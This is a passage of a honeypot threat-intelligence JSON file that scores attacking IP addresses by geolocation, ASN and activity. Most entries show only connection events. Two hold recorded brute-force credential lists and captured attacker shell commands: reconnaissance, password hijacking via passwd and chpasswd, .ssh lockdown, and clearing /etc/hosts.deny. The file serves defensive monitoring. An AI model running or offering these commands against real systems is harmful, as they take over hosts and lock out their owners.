      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 28,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T05:08:41.934000+00:00",
        "last_seen_30d": "2026-05-31T18:57:45.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 34,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "170.239.190.108": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:54:25.998Z",
      "last_seen": "2026-05-02T08:54:38.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Melipilla",
      "asn": 264838,
      "as_org": "INVERSIONES MYJ LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:54:25.998000+00:00",
        "last_seen_30d": "2026-05-02T08:55:40.432000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.24.180.167": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:07:55.581Z",
      "last_seen": "2026-05-22T06:08:07.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:07:55.581000+00:00",
        "last_seen_30d": "2026-05-22T06:09:09.954000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.109.204.95": {
      "attack_count": 2,
      "first_seen": "2026-05-13T05:08:13.855Z",
      "last_seen": "2026-05-13T05:08:27.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 6789,
      "as_org": "Crelcom LLC",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:08:13.855000+00:00",
        "last_seen_30d": "2026-05-13T05:09:36.967000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.223.177.12": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:46:34.530Z",
      "last_seen": "2026-05-09T08:46:47.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Cieza",
      "asn": 211261,
      "as_org": "Fibranet Tecnologia y Sistemas SL",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:46:34.530000+00:00",
        "last_seen_30d": "2026-05-09T08:47:55.562000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.86.105.220": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:58:35.192Z",
      "last_seen": "2026-05-11T14:58:48.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3399,
      "as_org": "Obenet AB",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:58:35.192000+00:00",
        "last_seen_30d": "2026-05-11T14:59:57.655000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.55.130.187": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:39:39.709Z",
      "last_seen": "2026-05-08T21:39:52.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "San Bautista",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:39:39.709000+00:00",
        "last_seen_30d": "2026-05-08T21:40:54.613000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.103.218.104": {
      "attack_count": 2,
      "first_seen": "2026-05-05T08:32:47.547Z",
      "last_seen": "2026-05-05T08:33:00.577Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jundia\u00ed",
      "asn": 28140,
      "as_org": "G2G INTERNET E SERVICOS DE TELECOM LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:32:47.547000+00:00",
        "last_seen_30d": "2026-05-05T08:34:07.655000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.249.58.7": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:21:25.226Z",
      "last_seen": "2026-05-03T20:21:38.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 32098,
      "as_org": "Transtelco Inc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:21:25.226000+00:00",
        "last_seen_30d": "2026-05-03T20:22:43.931000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.140.34.224": {
      "attack_count": 2,
      "first_seen": "2026-05-13T07:21:42.645Z",
      "last_seen": "2026-05-13T07:21:54.726Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Reynosa",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T07:21:42.645000+00:00",
        "last_seen_30d": "2026-05-13T07:23:02.608000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.103.68.133": {
      "attack_count": 2,
      "first_seen": "2026-05-19T18:48:34.094Z",
      "last_seen": "2026-05-19T18:48:48.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 52495,
      "as_org": "Cotel Ltda.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:48:34.094000+00:00",
        "last_seen_30d": "2026-05-19T18:49:58.390000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.185.224.44": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:31:20.112Z",
      "last_seen": "2026-05-06T01:31:32.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 19182,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:31:20.112000+00:00",
        "last_seen_30d": "2026-05-06T01:32:43.176000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.3.10": {
      "attack_count": 2,
      "first_seen": "2026-05-20T16:34:40.458Z",
      "last_seen": "2026-05-20T16:34:52.894Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:34:40.458000+00:00",
        "last_seen_30d": "2026-05-20T16:36:00.567000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.174.21.232": {
      "attack_count": 2,
      "first_seen": "2026-05-05T12:02:23.989Z",
      "last_seen": "2026-05-05T12:02:37.308Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Uzhhorod",
      "asn": 42014,
      "as_org": "Chumachenko Dmytro Stepanovych",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:02:23.989000+00:00",
        "last_seen_30d": "2026-05-05T12:03:47.543000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.34.179.60": {
      "attack_count": 2,
      "first_seen": "2026-05-13T01:01:19.155Z",
      "last_seen": "2026-05-13T01:01:32.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 131602,
      "as_org": "Hsin Yeong An Cable TV Co., Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T01:01:19.155000+00:00",
        "last_seen_30d": "2026-05-13T01:02:38.896000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.24.91.169": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:05:42.741Z",
      "last_seen": "2026-05-22T19:05:54.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:05:42.741000+00:00",
        "last_seen_30d": "2026-05-22T19:07:00.842000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.155.209.52": {
      "attack_count": 2,
      "first_seen": "2026-05-27T10:39:30.843Z",
      "last_seen": "2026-05-27T10:39:34.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Kapakl\u0131",
      "asn": 8386,
      "as_org": "Vodafone Net Iletisim Hizmetler AS",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T10:39:30.843000+00:00",
        "last_seen_30d": "2026-05-27T10:40:39.566000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.137.178.124": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:07:35.775Z",
      "last_seen": "2026-05-16T15:09:35.779Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 273155,
      "as_org": "DATANET VZLA 2021, C.A",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:07:35.775000+00:00",
        "last_seen_30d": "2026-05-16T15:20:35.247000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.167.151.78": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:58:16.831Z",
      "last_seen": "2026-05-03T16:58:29.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palotina",
      "asn": 268016,
      "as_org": "ZN DIGITAL PALOTINA LTDA ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:58:16.831000+00:00",
        "last_seen_30d": "2026-05-03T16:59:30.369000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.173.197.131": {
      "attack_count": 2,
      "first_seen": "2026-05-17T01:26:07.619Z",
      "last_seen": "2026-05-17T01:26:27.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracay",
      "asn": 267809,
      "as_org": "360NET C.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:26:07.619000+00:00",
        "last_seen_30d": "2026-05-17T01:28:19.042000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.158.200.221": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:09:53.598Z",
      "last_seen": "2026-05-08T12:10:06.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Sanxing",
      "asn": 24163,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:09:53.598000+00:00",
        "last_seen_30d": "2026-05-08T12:11:44.765000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.124.230.43": {
      "attack_count": 2,
      "first_seen": "2026-05-16T00:17:00.246Z",
      "last_seen": "2026-05-16T00:17:12.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Neihu District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T00:17:00.246000+00:00",
        "last_seen_30d": "2026-05-16T00:18:13.779000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.69.218.135": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:05:27.178Z",
      "last_seen": "2026-05-14T09:05:41.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:05:27.178000+00:00",
        "last_seen_30d": "2026-05-14T09:06:43.364000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.109.200.18": {
      "attack_count": 5710,
      "first_seen": "2026-05-06T08:18:09.005Z",
      "last_seen": "2026-05-16T14:05:26.133Z",
      "sessions": 1142,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "ftpuser",
        "ubuntu",
        "deployer",
        "user",
        "test",
        "jenkins",
        "odoo",
        "alex",
        "kafka",
        "minecraft",
        "oracle",
        "hadoop",
        "postgres",
        "student",
        "web",
        "weblogic",
        "www"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "p@ssw0rd",
        "123",
        "12345678",
        "1234",
        "12345",
        "1",
        "root",
        "admin123",
        "1111",
        "123456789",
        "1234567",
        "1qaz@WSX",
        "Aa123456",
        "admin",
        "111",
        "123root",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8031,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:18:04.661000+00:00",
        "last_seen_30d": "2026-05-16T14:06:30.211000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5710,
        "Suricata": 2321
      }
    },
    "107.150.103.12": {
      "attack_count": 525,
      "first_seen": "2026-05-14T04:32:45.627Z",
      "last_seen": "2026-05-15T07:09:04.330Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc",
        "linux",
        "whmapi",
        "admin",
        "administrador",
        "erp",
        "ftp-user",
        "jcon0r73",
        "jflhi5za",
        "oracle",
        "pakchoi",
        "postgres",
        "pzuser",
        "rodrigo",
        "rsacgo23",
        "salim",
        "shrvn6xd",
        "solutec"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "linux123",
        "!QAZ2wsx3edc",
        "1234",
        "123456Asd",
        "123456aa",
        "123Qwe123C",
        "1q@W3e$R5t",
        "8.5vHtXSSViFDvKi+TB.",
        "Aa@1234567890",
        "Abc#2026",
        "Control2017",
        "Jj123456",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "Oracle2024",
        "P@ssword123",
        "Passw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"YourPassword@6942\\nlG0WTLOC6Ymq\\nlG0WTLOC6Ymq\\n\"|passwd",
        "echo \"linux123\\nwG99fbEfOLgH\\nwG99fbEfOLgH\\n\"|passwd",
        "echo \"root:kyuX5AsWBc21\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nDPvlhacLNpWo\\nDPvlhacLNpWo\\n\"|passwd",
        "echo -e \"YourPassword@6942\\nlG0WTLOC6Ymq\\nlG0WTLOC6Ymq\"|passwd|bash",
        "echo -e \"linux123\\nwG99fbEfOLgH\\nwG99fbEfOLgH\"|passwd|bash",
        "echo -e \"yzOeGur5kZbZ\\nDPvlhacLNpWo\\nDPvlhacLNpWo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 655,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:32:45.627000+00:00",
        "last_seen_30d": "2026-05-15T07:10:06.892000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 525,
        "Suricata": 130
      }
    },
    "45.172.192.69": {
      "attack_count": 516,
      "first_seen": "2026-05-21T07:10:10.061Z",
      "last_seen": "2026-05-22T09:43:18.620Z",
      "sessions": 258,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 271632,
